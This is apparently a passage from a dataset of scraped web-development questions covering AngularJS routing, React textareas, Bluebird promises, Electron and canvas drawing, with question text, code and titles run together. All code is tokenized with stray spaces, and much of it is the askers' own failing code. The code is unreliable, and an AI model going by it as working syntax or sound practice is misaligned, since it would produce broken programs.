fadeInRight '' > < ! -- < div class= '' video '' > < img class= '' slider-img pull-right '' src= '' img/hero-slider/tdApp1.jpg '' width= '' 689 '' height= '' 659 '' alt= '' Components and Styles '' / > < /div > -- > < /div > < /div > < div class= '' slide '' style= '' float : none ; list-style : none ; position : absolute ; width : 1067px ; z-index : 0 ; display : none ; '' > < div class= '' col-lg-5 col-md-5 col-sm-5 animated fadeInUp '' > < h2 style= '' margin-top:70px ; '' class= '' text-left '' > WHY AVENIROS ? < /h2 > < p > Our team has been building content delivery platforms for over 20 years . We have experience with development from large scale LMS installations to mobile applications . We can offer full turn-key technical services for your content or help your technical team get to market on time . < /p > < a class= '' btn btn-primary '' href= '' # '' data-scrollto= '' # about '' > About us < /a > < /div > < div class= '' col-lg-7 col-md-7 col-sm-7 animated fadeInRight '' > < div class= '' video '' > < ! -- < img class= '' slider-img pull-right '' src= '' img/hero-slider/tdApp1.jpg '' width= '' 689 '' height= '' 659 '' alt= '' Components and Styles '' / > -- > < ! -- < img src= '' img/hero-slider/macbook.png '' width= '' 782 '' height= '' 422 '' alt= '' '' / > < div class= '' vide-holder '' > < iframe src= '' //player.vimeo.com/video/79036490 ? byline=0 & amp ; portrait=0 & amp ; color=ffeeac '' width= '' 720 '' height= '' 405 '' > < /iframe > < /div > -- > < /div > < /div > < /div > < /div > < /div > < div class= '' bx-controls bx-has-pager '' > < div class= '' bx-pager bx-default-pager '' > < div class= '' bx-pager-item '' > < a href= '' '' data-slide-index= '' 0 '' class= '' bx-pager-link active '' > 1 < /a > < /div > < div class= '' bx-pager-item '' > < a href= '' '' data-slide-index= '' 1 '' class= '' bx-pager-link '' > 2 < /a > < /div > < div class= '' bx-pager-item '' > < a href= '' '' data-slide-index= '' 2 '' class= '' bx-pager-link '' > 3 < /a > < /div > < /div > < /div > < /div > < /div > < /div > < /div > < ! -- Hero Slider -- > < div class= '' col-xs-12 col-sm-12 col-md-4 col-lg-3 pull-right '' id= '' hero-right '' style= '' height : 496px ; '' > < div > < div > < div class= '' animated fadeInLeft '' > < h1 > Learnosity < /h1 > < p > Did you know we are partnered with learnosity ? < /p > < p > To learn more click the button below..filler . < /p > < a class= '' btn btn-primary '' href= '' # '' > Learnosity < /a > < /div > < /div > < /div > < ! -- Close Hero Slider -- > < /div > < /div > < /section >",How can I extend image height to fit my whole screen ? "JS : I dont understand why but when i console.log ( ) both box and box.color its telling me its undefined ... I tried many different methods to solve this problem but it all failed.Cloud9Plunker And here is script.js : roomController.js : EDIT 2 : Ok Now it works but im confused on how to use it on app.config.. i My provider is Hash : And when it goes to the controller i set the hash and get the has ... roomControler.js : Now what i want to do is in my app.config ( ) i want to say when it is in Hash.getHash ( ) Go to template : , and controller : So something like this ... .EDIT 3What i was trying to say earlier was that i want to somehow configure the randomly generated Hash in my app.config ( ) when statements . so in my app.config . WHEN the USER is in /RANDOMLYGENERATEDHASH have a template : ' < h1 > Test < /h1 > ' . This is what i tried but dosent workk ... It is the fourth one on the .when ( ) Statements..And here is the provider now..EDIT 4Ok This is my roomcontroller.js Now.. : ( Important detail at bottom of controller ) and script.js ( Note this is not the only ones i have . You can see all other on above link on Cloud9 ( Plunk not updated ) ) : var app = angular.module ( 'LoginApp ' , [ `` firebase '' , `` ngRoute '' , `` ngCookies '' ] ) app.provider ( `` box '' , function ( ) { var hex = `` SomeColor '' ; var UID = 3 ; return { setColor : function ( value ) { UID = value } , $ get : function ( ) { return { color : hex } } } } ) app.config ( function ( $ routeProvider , $ cookiesProvider ) { $ routeProvider .when ( '/ ' , { templateUrl : 'HtmlFiles/registration.html ' , controller : 'regController ' } ) .when ( '/logIn ' , { templateUrl : 'HtmlFiles/login.html ' , controller : 'loginController ' } ) .when ( '/Chat ' , { templateUrl : 'HtmlFiles/Chat.html ' , controller : 'chatController ' } ) .when ( '/Test ' , { template : ' < h3 > This is just a testing phase < /h3 > ' , controller : 'Testing ' } ) .when ( '/userSettings ' , { templateUrl : 'HtmlFiles/userSettings.html ' , controller : 'userSettingsController ' } ) .when ( '/room ' , { templateUrl : 'HtmlFiles/room.html ' , controller : 'roomController ' } ) .otherwise ( { redirectTo : '/ ' } ) ; } ) ; app.controller ( 'Testing ' , [ `` $ scope '' , '' roomService '' , `` roomProvider '' , function ( $ scope , roomService , roomProvider ) { console.log ( `` This is from the Controller Service : `` + roomService.room.roomUID ) console.log ( `` This is from the Controller Provider : `` + roomProvider. $ get ) } ] ) app.factory ( `` Auth '' , [ `` $ firebaseAuth '' , function ( $ firebaseAuth ) { var ref = new Firebase ( `` https : //chattappp.firebaseio.com/ '' ) ; return $ firebaseAuth ( ref ) ; } ] ) ; app.factory ( `` Ref '' , function ( ) { var ref = new Firebase ( `` https : //chattappp.firebaseio.com/ '' ) return ref ; } ) app.factory ( `` UniPosts '' , function ( ) { var ref = new Firebase ( `` https : //postss.firebaseio.com/ '' ) return ref ; } ) ; app.service ( 'getCookieService ' , [ `` $ cookieStore '' , `` $ scope '' , function ( $ cookieStore , $ scope ) { this.getCookie = function ( name ) { $ cookieStore.get ( name ) } } ] ) app.controller ( 'roomController ' , [ `` $ scope '' , `` Auth '' , `` Ref '' , `` AuthService '' , `` roomService '' , '' $ http '' , function ( $ scope , Auth , Ref , AuthService , roomService , $ http , box ) { // Sweet Alert : ) function generateRandomStringToken ( length ) { var string = `` '' ; var characters = `` ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 '' ; for ( var i = 0 ; i < length ; i++ ) { string += characters.charAt ( Math.floor ( Math.random ( ) * characters.length ) ) ; } return string ; } swal ( { title : `` Room '' , text : `` What do you want your room name to be ? `` , type : `` input '' , showCancelButton : true , closeOnConfirm : false , animation : `` slide-from-top '' , inputPlaceholder : `` Write something '' } , function ( inputValue ) { if ( inputValue === false ) return false ; if ( inputValue === `` '' ) { swal.showInputError ( `` You need to write something ! `` ) ; return false } swal ( `` Nice ! `` , `` You wrote : `` + inputValue , `` success '' ) ; $ scope. $ apply ( function ( ) { $ scope.roomNameModel = inputValue } ) ; console.log ( $ scope.roomNameModel ) var redirectPage = generateRandomStringToken ( 10 ) console.log ( `` User gets redirected to : `` + redirectPage + `` ... '' ) roomService.setRoomUID ( redirectPage ) ; console.log ( roomService.room.roomUID ) console.log ( box ) //Undefined ... console.log ( `` From Provider : `` + box.color ) //box.color is undefined.. } ) ; } ] ) //window.location.hash = `` /Test '' app.provider ( `` Hash '' , function ( ) { var UID = 0 ; return { $ get : function ( ) { return { setHash : function ( value ) { UID = value ; } , getHash : function ( ) { return UID ; } } } } } ) app.controller ( 'roomController ' , [ `` $ scope '' , `` Auth '' , `` Ref '' , `` AuthService '' , `` roomService '' , '' $ http '' , `` Hash '' , function ( $ scope , Auth , Ref , AuthService , roomService , $ http , Hash ) { // Sweet Alert : ) function generateRandomStringToken ( length ) { var string = `` '' ; var characters = `` ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 '' ; for ( var i = 0 ; i < length ; i++ ) { string += characters.charAt ( Math.floor ( Math.random ( ) * characters.length ) ) ; } return string ; } swal ( { title : `` Room '' , text : `` What do you want your room name to be ? `` , type : `` input '' , showCancelButton : true , closeOnConfirm : false , animation : `` slide-from-top '' , inputPlaceholder : `` Write something '' } , function ( inputValue ) { if ( inputValue === false ) return false ; if ( inputValue === `` '' ) { swal.showInputError ( `` You need to write something ! `` ) ; return false } swal ( `` Nice ! `` , `` You wrote : `` + inputValue , `` success '' ) ; $ scope. $ apply ( function ( ) { $ scope.roomNameModel = inputValue } ) ; console.log ( $ scope.roomNameModel ) var redirectPage = generateRandomStringToken ( 10 ) console.log ( `` User gets redirected to : `` + redirectPage + `` ... '' ) roomService.setRoomUID ( redirectPage ) ; console.log ( roomService.room.roomUID ) ; Hash.setHash ( redirectPage ) ; console.log ( `` From Provider : `` + Hash.getHash ( ) ) window.location.hash = `` /Test '' } ) ; } ] ) app.config ( function ( $ routeProvider , $ cookiesProvider , Hash ) { $ routeProvider . when ( '/ ' + Hash.getHash ( ) , { template : ' < h4 > Your in Room ' , controller : 'Test } ) } ) ; app.controller ( 'Testing ' , [ `` $ scope '' , '' roomService '' , '' Hash '' , function ( $ scope , roomService , Hash ) { console.log ( `` This is from the Controller Service : `` + roomService.room.roomUID ) console.log ( Hash.getHash ( ) ) //This Logs right . : D } ] ) app.config ( function ( $ routeProvider , $ cookiesProvider , HashProvider ) { $ routeProvider .when ( '/ ' , { templateUrl : 'HtmlFiles/registration.html ' , controller : 'regController ' } ) .when ( '/logIn ' , { templateUrl : 'HtmlFiles/login.html ' , controller : 'loginController ' } ) .when ( '/Chat ' , { templateUrl : 'HtmlFiles/Chat.html ' , controller : 'chatController ' } ) .when ( '/ ' + HashProvider , { templete : ' < h1 > Test < /h1 > ' } ) .when ( '/userSettings ' , { templateUrl : 'HtmlFiles/userSettings.html ' , controller : 'userSettingsController ' } ) .when ( '/room ' , { templateUrl : 'HtmlFiles/room.html ' , controller : 'roomController ' } ) .otherwise ( { redirectTo : '/ ' } ) ; } ) ; app.provider ( `` Hash '' , function ( ) { var UID = 0 ; var _getHash = function ( ) { return UID ; } ; return { getHash : _getHash , $ get : function ( ) { return { setHash : function ( value ) { UID = value ; } , getHash : _getHash } } } } ) app.controller ( 'roomController ' , [ `` $ scope '' , `` Auth '' , `` Ref '' , `` AuthService '' , `` roomService '' , '' $ http '' , `` Hash '' , '' $ routeParams '' , function ( $ scope , Auth , Ref , AuthService , roomService , $ http , Hash , $ routeParams ) { // Sweet Alert : ) function generateRandomStringToken ( length ) { var string = `` '' ; var characters = `` ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 '' ; for ( var i = 0 ; i < length ; i++ ) { string += characters.charAt ( Math.floor ( Math.random ( ) * characters.length ) ) ; } return string ; } swal ( { title : `` Room '' , text : `` What do you want your room name to be ? `` , type : `` input '' , showCancelButton : true , closeOnConfirm : false , animation : `` slide-from-top '' , inputPlaceholder : `` Write something '' } , function ( inputValue ) { if ( inputValue === false ) return false ; if ( inputValue === `` '' ) { swal.showInputError ( `` You need to write something ! `` ) ; return false } swal ( `` Nice ! `` , `` You wrote : `` + inputValue , `` success '' ) ; $ scope. $ apply ( function ( ) { $ scope.roomNameModel = inputValue } ) ; console.log ( $ scope.roomNameModel ) var redirectPage = generateRandomStringToken ( 10 ) console.log ( `` User gets redirected to : `` + redirectPage + `` ... '' ) roomService.setRoomUID ( redirectPage ) ; console.log ( roomService.room.roomUID ) ; Hash.setHash ( redirectPage ) ; console.log ( `` From Provider : `` + Hash.getHash ( ) ) $ routeParams.hash = Hash.getHash ( ) } ) ; } ] ) var app = angular.module ( 'LoginApp ' , [ `` firebase '' , `` ngRoute '' , `` ngCookies '' , 'ngMessages ' ] ) app.provider ( `` Hash '' , function ( ) { var UID = 0 ; var _getHash = function ( ) { return UID ; } ; return { getHash : _getHash , $ get : function ( ) { return { setHash : function ( value ) { UID = value ; } , getHash : _getHash } } } } ) app.config ( function ( $ routeProvider , $ cookiesProvider , HashProvider ) { $ routeProvider .when ( '/ ' , { templateUrl : 'HtmlFiles/registration.html ' , controller : 'regController ' } ) .when ( '/logIn ' , { templateUrl : 'HtmlFiles/login.html ' , controller : 'loginController ' } ) .when ( '/Chat ' , { templateUrl : 'HtmlFiles/Chat.html ' , controller : 'chatController ' } ) .when ( '/ : Hash ' , { template : ' < h1 > TEST TEST < /h1 > ' , controller : 'any controller ' } ) .when ( '/userSettings ' , { templateUrl : 'HtmlFiles/userSettings.html ' , controller : 'userSettingsController ' } ) .when ( '/room ' , { templateUrl : 'HtmlFiles/room.html ' , controller : 'roomController ' } ) .otherwise ( { redirectTo : '/ ' } ) ; } ) ; app.controller ( 'Testing ' , [ `` $ scope '' , '' roomService '' , '' Hash '' , function ( $ scope , roomService , Hash ) { console.log ( `` This is from the Controller Service : `` + roomService.room.roomUID ) console.log ( Hash.getHash ( ) ) } ] ) app.factory ( `` Auth '' , [ `` $ firebaseAuth '' , function ( $ firebaseAuth ) { var ref = new Firebase ( `` https : //chattappp.firebaseio.com/ '' ) ; return $ firebaseAuth ( ref ) ; } ] ) ; app.factory ( `` Ref '' , function ( ) { var ref = new Firebase ( `` https : //chattappp.firebaseio.com/ '' ) return ref ; } ) app.factory ( `` UniPosts '' , function ( ) { var ref = new Firebase ( `` https : //postss.firebaseio.com/ '' ) return ref ; } ) ; app.service ( 'getCookieService ' , [ `` $ cookieStore '' , `` $ scope '' , function ( $ cookieStore , $ scope ) { this.getCookie = function ( name ) { $ cookieStore.get ( name ) } } ] ) [ 1 ] : https : //ide.c9.io/amanuel2/chattapp [ 2 ] : https : //plnkr.co/edit/ToWpQCw6GaKYkUegFjMi ? p=preview",AngularJS RouteParams "JS : Note : This is not a duplicate as far as I can tell , as using a contentEditable div does n't seem to be a good alternative . It has numerous problems ( no placeholder text , need to use the dangerouslySetInnerHTML hack to update text , selection cursor is finicky , other browser issues , etc . ) I would like to use a textarea.I 'm currently doing something this for my React textarea component : This works and allows the textarea to dynamically grow and shrink in height as line breaks are added and removed.The problem is that on every text change there is a reflow occurring . This causes a lot of lag in the application . If I hold down a key in the textarea there is delay and lag as the characters are appended.If I remove the target.style.height = 'inherit ' ; line the lag goes away , so I know it 's being caused by this constant reflow.I heard that setting overflow-y : hidden might get rid of the constant reflow , but it did not in my case . Likewise , setting target.style.height = 'auto ' ; did not allow for dynamic resize.I currently have developed a solution to this which works , but I do n't like it , as it is an O ( n ) operation for every time the text changes . I just count the number of line breaks and set the size accordingly , like this : componentDidUpdate ( ) { let target = this.textBoxRef.current ; target.style.height = 'inherit ' ; target.style.height = ` $ { target.scrollHeight + 1 } px ` ; } // In a React ComponenthandleMessageChange = e = > { let breakCount = e.target.value.split ( `` \n '' ) .length - 1 ; this.setState ( { breakCount : breakCount } ) ; } render ( ) { let style = { height : ( 41 + ( this.state.breakCount * 21 ) ) + `` px '' } ; return ( < textarea onChange= { this.handleMessageChange } style= { style } > < /textarea > ) ; }",Possible to have a dynamically height adjusted textarea without constant reflows ? "JS : I 'm trying to use a bootstrap slider in my Rails 4 app.The feature Im trying to use is shown in this example in the bootstrap-slider-rails gem docs.I 'm trying to dynamically populate the tool tip text based on the data slider value.In my view , I have : Then in my js file , i have : jQuery ( document ) .ready ( function ( ) { } ) ; I have a model called TRL . That table has attributes called level ( an integer ) and description ( text ) .The data slider value shows the trl.level now . That part works fine , but I ca n't figure out how to get the formatter function to work . I can see from the docs that the formatter argument can not be passed as a data- attribute.I tried adding it to the js method , That doesnt work . How do I use the formatter function in my slider ? TAKING ASHITAKA 'S SUGGESTIONI tried amending my js to : That attempt prints out the < % = @ project.trl.description % > instead of taking the content of that attribute and printing it out . So , the next step to implementing this concept is how can I pass data saved in the database to the js tooltip ? < input id= '' ex13 '' type= '' text '' data-slider-ticks= '' [ 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 ] '' data-slider-ticks-snap-bounds= '' 30 '' data-slider-ticks-labels= ' [ `` Breadboard '' , `` High Fidelity '' , `` Low Fidelity '' , `` Demonstration '' , `` Operational Environment '' , `` Prototype '' , `` Relevant Environment '' , `` Simulation '' ] ' data-slider-value= '' < % = @ project.trl.level % > '' / > $ ( `` # ex13 '' ) .bootstrapSlider ( { ticks : [ 10 , 20 , 30 , 40 , 50 , 60 , 70 , 80 ] , ticks_labels : [ `` Breadboard '' , `` High Fidelity '' , `` Low Fidelity '' , `` Demonstration '' , `` Operational Environment '' , `` Prototype '' , `` Relevant Environment '' , `` Simulation '' ] , ticks_snap_bounds : 30 , orientation : 'vertical ' , tooltip_position : 'left ' , enabled : false } ) ; $ ( `` # ex13 '' ) .bootstrapSlider ( { ticks : [ 10 , 20 , 30 , 40 , 50 , 60 , 70 , 80 ] , ticks_labels : [ `` Breadboard '' , `` High Fidelity '' , `` Low Fidelity '' , `` Demonstration '' , `` Operational Environment '' , `` Prototype '' , `` Relevant Environment '' , `` Simulation '' ] , ticks_snap_bounds : 30 , orientation : 'vertical ' , tooltip_position : 'left ' , enabled : false , formatter : `` < % = @ project.trl.description % > '' } ) ; jQuery ( document ) .ready ( function ( ) { $ ( `` # ex13 '' ) .bootstrapSlider ( { ticks : [ 10 , 20 , 30 , 40 , 50 , 60 , 70 , 80 ] , ticks_labels : [ `` Breadboard '' , `` High Fidelity '' , `` Low Fidelity '' , `` Demonstration '' , `` Operational Environment '' , `` Prototype '' , `` Relevant Environment '' , `` Simulation '' ] , ticks_snap_bounds : 30 , orientation : 'vertical ' , tooltip_position : 'left ' , enabled : false , // formatter : `` < % = @ project.trl.description % > '' formatter : function ( value ) { return `` < % = @ project.trl.description % > '' ; } } ) ; } ) ;",Rails 4 - Bootstrap Slider - dynamically populating tooltips on data ticks ? "JS : In order to make this question as useful to as many people as possible , I will exclude my specific implementation details beyond that fact that I am using the Bluebird promise library with Node + Express below.So , let 's say that I have the following chain ( where P returns a promise , and res is the Express HTTP response object ) : Where I have placed the TODO comment above is where I would like to catch an error that might occur from my call to P. If I do catch an error , I would like to log pVal1 and then send a 500 error , as is done in the first catch . However , I am not sure if this is possible with how I am structuring my chain.I believe that I need to do some `` branching , '' but I do not think that I understand this concept well enough to stop the asynchronous nature of JavaScript from getting the best of me ! As such , any help is thoroughly appreciated . P ( ) .then ( function ( ) { // do nothing if all went well ( for now ) // we only care if there is an error } ) .catch ( function ( error ) { res.status ( 500 ) .send ( `` An error occurred '' ) ; } ) .then ( function ( ) { return P ( ) ; } ) .then ( function ( pVal1 ) { return [ pVal1 , P ( ) ] ; } ) // TODO : catch an error from P ( ) here and log pVal1.spread ( function ( pVal1 , pVal2 ) { if ( pVal1 === pVal2 ) { console.log ( `` Success ! `` ) ; } else { console.log ( `` Failure '' ) ; } } ) ;",Bluebird Promise Chains : 'Catch ' with Result "JS : I 'm looking way to do something like JSHTML : Is it possible to do ? Or what the better way to do this logic in Aurelia way ? $ scope.players = [ { name : 'Gene ' , team : 'alpha ' } , { name : 'George ' , team : 'beta ' } , { name : 'Steve ' , team : 'gamma ' } , { name : 'Paula ' , team : 'beta ' } , { name : 'Scruath ' , team : 'gamma ' } ] ; < ul repeat.for= '' obj of players | groupBy : 'team ' '' > Group name : $ { obj.group } < li repeat.for= '' player of obj.values '' > player : $ { player.name } < /li > < /ul >",How to do group by filter in Aurelia "JS : I have some issue in javascript variable load in to the bootstrap model input box : data.value alert the correct value in here . But this value not load in to the bootstrap model text box . What is my mistake ? How do I fix it ? ( only problem is pass JavaScript value not load in to the in side the text field . It can print as HTML out in to the div tag ) Updatei used following cdn sweetAlert boostrap setTimeout ( function ( ) { swal ( { title : `` OverTime Status ! `` , text : `` You Need to get Sub OT Approval `` + data.value + `` Hours to Time allocate in the department '' , type : `` warning '' , confirmButtonText : `` OK '' } , function ( isConfirm ) { if ( isConfirm ) { $ ( ' # hours_work ' ) .val ( data.value ) ; //data.value alert the correct value in here.but this value not load in to the bootstrap model text box $ ( ' # overtime_requset ' ) .modal ( 'show ' ) ; clear_field ( ) ; } } ) ; } , 1 ) ; < div class= '' modal '' id= '' overtime_requset '' > < div class= '' modal-dialog `` > < form id= '' overtime_requset_form '' > < div class= '' modal-content '' > < ! -- Modal Header -- > < div class= '' modal-header '' > < h4 class= '' modal-title '' > Sub OT Request < /h4 > < button type= '' button '' class= '' close '' data-dismiss= '' modal '' > & times ; < /button > < /div > < ! -- Modal body -- > < div class= '' modal-body '' > < div class= '' form-group '' > < div class= '' input-daterange '' > < input type= '' text '' name= '' from_date '' id= '' from_date '' class= '' form-control '' value= '' < ? php echo $ _GET [ `` month `` ] ; ? > '' readonly / > < span id= '' error_from_date '' class= '' text-danger '' > < /span > < span id= '' error_future_from_date '' class= '' text-danger text-center '' > < /span > < /div > < /div > < div class= '' form-group '' > < label class= '' text-info '' > Tolal Number Of Employee < ? php echo get_total_employee_count ( $ connect , $ _SESSION [ `` dept_Id '' ] ) ? > < /br > < label > Add the addition number of OT hours requried < /lable > < input type= '' text '' name= '' hours_work '' id= '' hours_work '' class= '' form-control '' value= '' '' / > < label class= '' text-secondary '' > Approved OT hours : < ? php echo GetApprovedOt ( $ connect , $ _SESSION [ `` dept_Id '' ] , $ currentMonth ) ? > < /br > < /label > < br > < label class= '' text-secondary '' > Pendding OT hours : < ? php echo GetPendingOt ( $ connect , $ _SESSION [ `` dept_Id '' ] , $ currentMonth ) ? > < /label > < /div > < /div > < ! -- Modal footer -- > < div class= '' modal-footer '' > < button type= '' button '' name= '' get_approval '' id= '' get_approval '' class= '' btn btn-info btn-sm '' > Get Approval < /button > < button type= '' button '' class= '' btn btn-danger btn-sm '' data-dismiss= '' modal '' > Close < /button > < /div > < /div > < /form > < /div > < /div > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/bootstrap-sweetalert/1.0.1/sweetalert.min.js '' > < /script > < link rel= '' stylesheet '' href= '' https : //cdnjs.cloudflare.com/ajax/libs/bootstrap-sweetalert/1.0.1/sweetalert.min.css '' / >",how to load java script variable in to the bootstrap model text box as value "JS : Using Javascript I 'm crudely simulating Brownian motion of particles , but for some reason I do n't understand my particles are drifting up and to the left.The algorithm is pretty straight forward . Each particle is a div and I simply add or subtract a random number from each div 's top and left position each round.I read up on Math.random ( ) a little , and I 've tried to use a function that returns a random number from min to max inclussive : Here is the function for the movement of the particles : And here is how the particles are initially set up an the setInterval started.My problem is that using the min and max from above ( -5 , 5 ) , all the particles drift up and to the left very fast . jsFiddle example of drift ( -5 , 5 ) Example of drift even with the removal of .min ( ) and .abs ( ) .To counteract this , I have to use a min and max of -1 , 5.jsFiddle example of no drift ( -1 , 5 ) Here is the CSS for the div all the particles are contained in : Here is the default CSS for each particle : What is going on ? Why does a min and max of -5 and 5 cause an upward and leftward drift ? A test of the random function ran ( ) does n't seem to show such a persistent negative drift.jsFiddle example of testing ran ( ) The ran ( ) function was taken from the MDC Math.random ( ) page . // Returns a random integer between min and max // Using Math.round ( ) will give you a non-uniform distribution ! function ran ( min , max ) { return Math.floor ( Math.random ( ) * ( max - min + 1 ) ) + min ; } var x , y , $ elie , pos , nowX , nowY , i , $ that ; function moveIt ( ) { $ ( `` div.spec '' ) .each ( function ( i , v ) { x = ran ( -5 , 5 ) ; y = ran ( -5 , 5 ) ; $ elie = $ ( v ) ; pos = $ elie.position ( ) ; nowX = pos.left ; nowY = pos.top ; // The min and abs are to keep the particles within a box // The drift occurs even if I remove min and abs $ elie.css ( `` left '' , Math.min ( Math.abs ( nowX + x ) , 515 ) ) ; $ elie.css ( `` top '' , Math.min ( Math.abs ( nowY + y ) , 515 ) ) ; } ) ; } $ ( function ( ) { $ ( `` body '' ) .append ( `` < div/ > '' ) .attr ( `` id '' , '' box '' ) ; $ elie = $ ( `` < div/ > '' ) .attr ( `` class '' , '' spec '' ) ; // Note that math random is inclussive for 0 and exclussive for Max for ( i = 0 ; i < 25 ; ++i ) { $ that = $ elie.clone ( ) ; $ that.css ( `` top '' , ran ( 0 , 495 ) ) ; $ that.css ( `` left '' , ran ( 0 , 495 ) ) ; $ ( `` # box '' ) .append ( $ that ) ; } timer = setInterval ( moveIt , 60 ) ; $ ( `` input '' ) .toggle ( function ( ) { clearInterval ( timer ) ; this.value = `` Start `` ; } , function ( ) { timer = setInterval ( moveIt , 60 ) ; this.value = `` Stop `` ; } ) ; } ) ; # box { width:500px ; height:500px ; border:2px # 000 solid ; position : relative ; } div.spec { width:5px ; height:5px ; background-color : # 00DDAA ; position : absolute ; }",Why are my particles drifting ? ( aka Is Math.random ( ) broken or is it my algorithm ? ) "JS : I have a Electron based browser like application which requires rendering of client applications . I was tempted to use electron 's webivew to render my apps but they are not recommended and also disabled by default . Also because of chromiums OOPIF ( Out of process IFrames ) architecture behind webviews its no longer possible to capture keyboard and mouse events which are critical to my application.So I am using the newer BrowserView api and using it to render my client web applications . But sadly I could only capture keyboard events using before-input-event event.This is a sample of my code.I looked into electron 's github issues and the official documents as well but could n't find anything . Has anyone found a way to capture the mouse events as well from inside of a BrowserView ? Any help would be very appreciated . let mainWindow = null ; app.on ( 'ready ' , ( ) = > { mainWindow = new BrowserWindow ( { show : false } ) ; mainWindow.setBounds ( { x : 0 , y : 0 , width : 800 , height : 600 } ) mainWindow.once ( 'ready-to-show ' , ( ) = > { mainWindow.show ( ) ; } ) ; let view = new BrowserView ( ) mainWindow.setBrowserView ( view ) view.webContents.loadURL ( 'https : //electronjs.org ' ) view.webContents.on ( 'before-input-event ' , ( event , input ) = > { console.log ( event , input ) ; } ) ; } ) ;",Electron BrowserView not capturing mouse events "JS : If I 'm going for fps , is it faster to use one larger canvas and redraw constantly or have a bunch of small canvases and redraw less often but use css3 for animation like this ? < canvas id= '' 1 '' width= '' 60px '' height= '' 60px '' > < /canvas > < canvas id= '' 2 '' width= '' 60px '' height= '' 60px '' > < /canvas > < canvas id= '' 3 '' width= '' 60px '' height= '' 60px '' > < /canvas > < canvas id= '' 4 '' width= '' 60px '' height= '' 60px '' > < /canvas >",Is using multiple canvases slower than using one ? "JS : I 'm trying to build a pyramid using squares in HTML5 Canvas , I have an algoritm that is half working , the only problem is that after three days and some lack of math abilities I have n't been able to find the proper formula.Here is what I have , check the code comments so you can see what part of the algorithm we have to change.This is the code working in jsfiddle so we can try it : https : //jsfiddle.net/g5spscpu/The desired result is : Well , I would love if someone could give me a hand , my brain is burning . var canvas = document.getElementById ( 'canvas ' ) ; var ctx = canvas.getContext ( '2d ' ) ; var W = 1000 ; var H = 600 ; var side = 16 ; canvas.width = W ; canvas.height = H ; function square ( x , y ) { ctx.fillStyle = ' # 66FF00 ' ; ctx.fillRect ( x , y , side , side ) ; ctx.strokeStyle = ' # 000 ' ; ctx.strokeRect ( x , y , side , side ) ; } function draw ( ) { ctx.fillRect ( 0 , 0 , W , H ) ; ctx.save ( ) ; for ( var i = 0 ; i < 30 ; i++ ) { for ( var j = 0 ; j < i + 1 ; j++ ) { square ( //Pos X //This is what we have to change to //make it look like a pyramid instead of stairs W / 2 - ( ( side / 2 ) + ( j * side ) ) , //Pos Y side * ( i + 1 ) ) ; } } ctx.restore ( ) ; } //STARTS DRAWING draw ( ) ;",Algorithm to build a pyramid with squares "JS : I 'm using Google Chrome for this test : Contrary to intuition , the first loop alerts `` string '' 3 times , while the second loop alerts `` number '' 3 times.I was expecting both loops to alert `` number '' 3 times . How is the first loop implemented in Javascript ? In other words , if the for-each is syntactic sugar , what is its equivalent using a standard loop ? Also , is there some way to iterate over an object 's namespace using a standard loop ? I 'm looking to touch every one of some object 's methods and attributes using a loop of the second kind . I 'm new to Javascript and any help is highly appreciated , thanks . numarray = [ 1 , 2 , 3 ] ; //for-each loopfor ( num in numarray ) alert ( typeof ( num ) ) ; //standard loopfor ( i=0 ; i < numarray.length ; i++ ) alert ( typeof ( numarray [ i ] ) ) ;","When iterating over values , why does typeof ( value ) return `` string '' when value is a number ? Javascript" "JS : So I have page with simple form . To submit this form I need person submitting to check checkbox ( some privacy policy etc ) . I have the form like this : ( Of course , every distracting inputs are deleted . ) Then I have script that shall submit form only after checking the checkbox.Unfortunately , I found out that user can change localy the button type from `` button '' to `` submit '' and he will be able to submit the form ignoring my submit protect script . And additional question . I am not an expert but I started wandering what else can do user with FireBug or dev tools . Can he perform any attacks this way ? Many thanks for any answers or guidance . < form role= '' form '' class= '' form '' id= '' zamowienie '' action= '' send_order.php '' method= '' post '' > < button type= '' button '' id= '' wyslijZamowienie '' > SEND < /button > < input type= '' checkbox '' id= '' regCheckbox '' value= '' '' > < /form > button.on ( `` click '' , function ( ) { if ( $ ( `` # regCheckbox '' ) .is ( `` : checked '' ) ) $ ( `` # zamowienie '' ) .submit ( ) ;",How to prevent fake form validation "JS : I 'm building my first real web app using backbone and I 'm struggling with nested resources . This is a simplified version of the json response i 'm working with : Basically theres a Survey object which has many Groups , each Group has many Questions.I ca n't seem to figure out a good way to get all this data into models/ collections.What I currently have is : This seems to work for nesting Groups in the Survey model , but how do I store the questions in a collection and then assign that to each model in the Groups collection ? As mentioned I 'm relatively new to backbone , so if I 'm going down the completely wrong path or there 's a better way to do this please let me know . Cheers . { `` id '' : 1 , `` title '' : `` Test Survey '' , `` groups '' : [ { `` id '' : 1 , `` title '' : `` Basic Questions '' , `` questions '' : [ { `` id '' : 1 , `` title '' : `` Which is your favorite color ? '' } , { `` id '' : 2 , `` title '' : `` Do you have any other hobbies ? '' } ] } , { `` id '' : 2 , `` title '' : `` Working Questions '' , `` questions '' : [ { `` id '' : 3 , `` title '' : `` Do you think working exp is very important ? '' } ] } ] } // Modelsvar Question = Backbone.Model.extend ( { } ) ; var Group = Backbone.Model.extend ( { } ) ; var Survey = Backbone.Model.extend ( { url : surveyURL } ) ; // Collectionsvar GroupsCollection = Backbone.Collection.extend ( { } ) ; var QuestionsCollection = Backbone.Collection.extend ( { } ) ; //Viewsvar SurveyView = Backbone.View.extend ( { .. } ) ; var GroupsCollectionView = Backbone.View.extend ( { .. } ) ; var QuestionsCollectionView = Backbone.View.extent ( { .. } ) ; var survey = new Survey ( { groups : new GroupsCollection ( { model : Group } ) } ) ; var groupsView = new GroupsCollectionView ( { collection : survey.get ( 'groups ' ) } ) ;",Backbone collection in collections "JS : The following code produces an error when I run it in Firefox 52 Scratchpad : How to explain that ? The first x should be encapsulated in the function and not interfere with the second declaration.Running this code as a snippet in Chrome , or inside an HTML page with a < script > tag in Firefox does n't trigger the exception . Also wrapping it in a function , or even a pair of { } brackets eliminates the problem.Could it be a bug in Scratchpad ? function scope ( ) { let x = 1 ; } let x = 2 ; /*Exception : SyntaxError : redeclaration of let x @ Scratchpad/8:1:1*/",Scoping problems when using let in Firefox Scratchpad "JS : So here is my observable code : The problem I have is when the input is empty I have a another piece of code that basically returns a 